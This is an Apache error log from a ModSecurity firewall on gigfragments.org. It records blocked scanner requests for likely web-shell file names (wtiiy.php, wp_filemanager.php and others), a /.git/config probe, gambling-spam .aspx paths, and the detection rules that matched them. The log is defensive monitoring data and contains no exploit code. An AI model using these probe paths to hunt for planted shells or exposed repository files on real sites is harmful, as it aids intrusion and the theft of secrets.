[Sun Mar 29 02:29:23.043529 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:64360] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acgeAykUyvlQod6qQu2n8wAAAMU"]
[Sun Mar 29 02:29:23.713655 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:64385] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acgeAykUyvlQod6qQu2n9AAAANM"]
[Sun Mar 29 02:29:24.341730 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:63628] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wtiiy.php"] [unique_id "acgeBHVrXSgLxlxLi9BA7QAAAQ8"]
[Sun Mar 29 02:29:25.019272 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:64418] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "acgeBXVrXSgLxlxLi9BA8wAAAQw"]
[Sun Mar 29 02:29:25.685137 2026] [:error] [pid 60346:tid 60357] [client 20.197.233.108:64328] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "acgeBXVrXSgLxlxLi9BA9gAAAQY"]
[Sun Mar 29 02:29:26.305663 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:64415] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "acgeBnVrXSgLxlxLi9BA_AAAARQ"]
[Sun Mar 29 02:29:26.938743 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:63601] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "acgeBnVrXSgLxlxLi9BA_wAAAQk"]
[Sun Mar 29 02:29:27.567697 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:64395] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "acgeB3VrXSgLxlxLi9BBAQAAAQo"]
[Sun Mar 29 02:29:28.210337 2026] [:error] [pid 60346:tid 60375] [client 20.197.233.108:63652] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "acgeCHVrXSgLxlxLi9BBBQAAARg"]
[Sun Mar 29 02:29:28.836580 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:64423] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "acgeCCkUyvlQod6qQu2n-gAAAME"]
[Sun Mar 29 02:29:29.497855 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:63055] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "acgeCSkUyvlQod6qQu2n_AAAAMw"]
[Sun Mar 29 08:03:17.334935 2026] [:error] [pid 32255:tid 32311] [client 130.131.193.97:9172] [client 130.131.193.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "achsRWnfn-AtRoMbqux__AAAAFQ"]
[Sun Mar 29 08:03:17.764009 2026] [:error] [pid 23250:tid 23271] [client 130.131.193.97:9125] [client 130.131.193.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "achsRZxrpj-dQjy1cvpVDQAAAlM"]
[Sun Mar 29 08:03:18.197943 2026] [:error] [pid 23250:tid 23274] [client 130.131.193.97:9279] [client 130.131.193.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "achsRpxrpj-dQjy1cvpVDgAAAlY"]
[Sun Mar 29 08:03:18.656471 2026] [:error] [pid 23250:tid 23261] [client 130.131.193.97:9054] [client 130.131.193.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "achsRpxrpj-dQjy1cvpVEQAAAkk"]
[Sun Mar 29 08:43:21.357744 2026] [:error] [pid 23167:tid 23187] [client 43.130.3.122:45722] [client 43.130.3.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ach1qRIAHJCFaHff3_eUDQAAAdE"]
[Sun Mar 29 08:51:43.152774 2026] [:error] [pid 32257:tid 32320] [client 45.94.31.49:63906] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ach3nyE3TArOFrUtgWpj0AAAAII"]
[Sun Mar 29 08:51:43.636757 2026] [:error] [pid 23167:tid 23179] [client 45.94.31.49:50631] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ach3nxIAHJCFaHff3_eYFwAAAck"]
[Sun Mar 29 08:51:44.121326 2026] [:error] [pid 32359:tid 32377] [client 45.94.31.49:55406] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ach3oAMb8G3UzfQP3WjovQAAANA"]
[Sun Mar 29 08:51:44.607046 2026] [:error] [pid 23250:tid 23267] [client 45.94.31.49:62010] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ach3oJxrpj-dQjy1cvpgJQAAAk8"]
[Sun Mar 29 08:51:45.095514 2026] [:error] [pid 23250:tid 23261] [client 45.94.31.49:49436] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ach3oZxrpj-dQjy1cvpgZAAAAkk"]
[Sun Mar 29 10:22:59.407341 2026] [:error] [pid 23137:tid 23163] [client 103.13.210.236:9472] [client 103.13.210.236] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aciNAxaWQa7LdZ_qGFajWAAAAZg"]
[Sun Mar 29 13:18:22.173307 2026] [:error] [pid 32359:tid 32371] [client 182.44.10.67:50271] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aci2HgMb8G3UzfQP3Wj8bwAAAMo"]
[Sun Mar 29 17:30:38.917454 2026] [autoindex:error] [pid 23167:tid 23178] [client 20.219.138.200:10766] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 29 17:30:40.443058 2026] [:error] [pid 23167:tid 23188] [client 20.219.138.200:10766] [client 20.219.138.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acjxQBIAHJCFaHff3_dzwgAAAdI"]
[Sun Mar 29 17:30:41.003163 2026] [:error] [pid 32255:tid 32296] [client 20.219.138.200:8103] [client 20.219.138.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acjxQWnfn-AtRoMbqux1ZgAAAEU"]
[Sun Mar 29 17:30:41.561764 2026] [:error] [pid 32255:tid 32315] [client 20.219.138.200:9662] [client 20.219.138.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acjxQWnfn-AtRoMbqux1aAAAAFg"]
[Sun Mar 29 17:30:42.119551 2026] [:error] [pid 32255:tid 32302] [client 20.219.138.200:9905] [client 20.219.138.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "acjxQmnfn-AtRoMbqux1bQAAAEs"]
[Sun Mar 29 18:53:59.200329 2026] [:error] [pid 32255:tid 32311] [client 43.157.170.126:43700] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ackEx2nfn-AtRoMbquypEgAAAFQ"]
[Sun Mar 29 19:39:45.767459 2026] [:error] [pid 32257:tid 32318] [client 54.37.252.36:43910] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ackPgSE3TArOFrUtgWrybQAAAIA"]
[Sun Mar 29 19:39:47.732893 2026] [:error] [pid 23284:tid 23286] [client 54.37.252.36:47384] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ackPg4zBujdPHsq7wyRLswAAAoA"]
[Sun Mar 29 19:39:49.656747 2026] [:error] [pid 23250:tid 23269] [client 54.37.252.36:58616] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ackPhZxrpj-dQjy1cvruuwAAAlE"]
[Sun Mar 29 19:39:51.514208 2026] [:error] [pid 23137:tid 23145] [client 54.37.252.36:58618] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ackPhxaWQa7LdZ_qGFbodQAAAYY"]
[Sun Mar 29 19:39:53.444814 2026] [:error] [pid 32255:tid 32293] [client 54.37.252.36:58634] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ackPiWnfn-AtRoMbquy8NQAAAEI"]
[Sun Mar 29 19:39:55.323091 2026] [:error] [pid 32257:tid 32338] [client 54.37.252.36:58650] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ackPiyE3TArOFrUtgWrycQAAAJQ"]
[Sun Mar 29 19:39:57.189146 2026] [:error] [pid 23284:tid 23304] [client 54.37.252.36:58666] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ackPjYzBujdPHsq7wyRL0AAAApI"]
[Sun Mar 29 19:39:59.085862 2026] [:error] [pid 23168:tid 23202] [client 54.37.252.36:39872] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ackPj2P8p0yRL8ot_292agAAAgU"]
[Sun Mar 29 19:40:00.964383 2026] [:error] [pid 23284:tid 23290] [client 54.37.252.36:39884] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ackPkIzBujdPHsq7wyRL2gAAAoQ"]
[Sun Mar 29 19:40:02.849141 2026] [:error] [pid 23284:tid 23306] [client 54.37.252.36:39888] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ackPkozBujdPHsq7wyRL4AAAApQ"]
[Sun Mar 29 19:40:04.837051 2026] [:error] [pid 23167:tid 23194] [client 54.37.252.36:39896] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ackPlBIAHJCFaHff3_eiSgAAAdg"]
[Sun Mar 29 19:40:07.005286 2026] [:error] [pid 23137:tid 23158] [client 54.37.252.36:39898] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ackPlxaWQa7LdZ_qGFbogQAAAZM"]
[Sun Mar 29 19:40:08.851017 2026] [:error] [pid 32255:tid 32311] [client 54.37.252.36:46090] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ackPmGnfn-AtRoMbquy8UQAAAFQ"]
[Sun Mar 29 19:40:10.739157 2026] [:error] [pid 23167:tid 23178] [client 54.37.252.36:46094] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ackPmhIAHJCFaHff3_eiTgAAAcg"]
[Sun Mar 29 19:40:12.572611 2026] [:error] [pid 32257:tid 32320] [client 54.37.252.36:46100] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ackPnCE3TArOFrUtgWryiwAAAII"]
[Sun Mar 29 19:40:14.436285 2026] [:error] [pid 32359:tid 32364] [client 54.37.252.36:46106] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ackPngMb8G3UzfQP3WgduAAAAMM"]
[Sun Mar 29 19:40:16.444041 2026] [:error] [pid 23167:tid 23170] [client 54.37.252.36:46122] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ackPoBIAHJCFaHff3_eiVAAAAcA"]
[Sun Mar 29 19:40:18.426272 2026] [:error] [pid 32359:tid 32380] [client 54.37.252.36:43734] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ackPogMb8G3UzfQP3WgdwwAAANM"]
[Sun Mar 29 19:40:20.256721 2026] [:error] [pid 23250:tid 23264] [client 54.37.252.36:43744] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ackPpJxrpj-dQjy1cvruxQAAAkw"]
[Sun Mar 29 19:40:22.254765 2026] [:error] [pid 23167:tid 23188] [client 54.37.252.36:43758] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ackPphIAHJCFaHff3_eiYgAAAdI"]
[Sun Mar 29 19:40:24.183451 2026] [:error] [pid 32254:tid 32285] [client 54.37.252.36:43760] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ackPqKug2IHuyGgCTn9OfwAAABU"]
[Sun Mar 29 19:40:26.255429 2026] [:error] [pid 23168:tid 23206] [client 54.37.252.36:43766] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ackPqmP8p0yRL8ot_292dwAAAgk"]
[Sun Mar 29 19:40:28.213063 2026] [:error] [pid 32255:tid 32300] [client 54.37.252.36:54360] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ackPrGnfn-AtRoMbquy8WgAAAEk"]
[Sun Mar 29 19:40:30.171064 2026] [:error] [pid 32257:tid 32339] [client 54.37.252.36:54368] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ackPriE3TArOFrUtgWrymgAAAJU"]
[Sun Mar 29 19:40:32.068049 2026] [:error] [pid 23137:tid 23140] [client 54.37.252.36:54376] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ackPsBaWQa7LdZ_qGFbonwAAAYE"]
[Sun Mar 29 19:40:33.981298 2026] [:error] [pid 32257:tid 32324] [client 54.37.252.36:54386] [client 54.37.252.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ackPsSE3TArOFrUtgWryngAAAIY"]
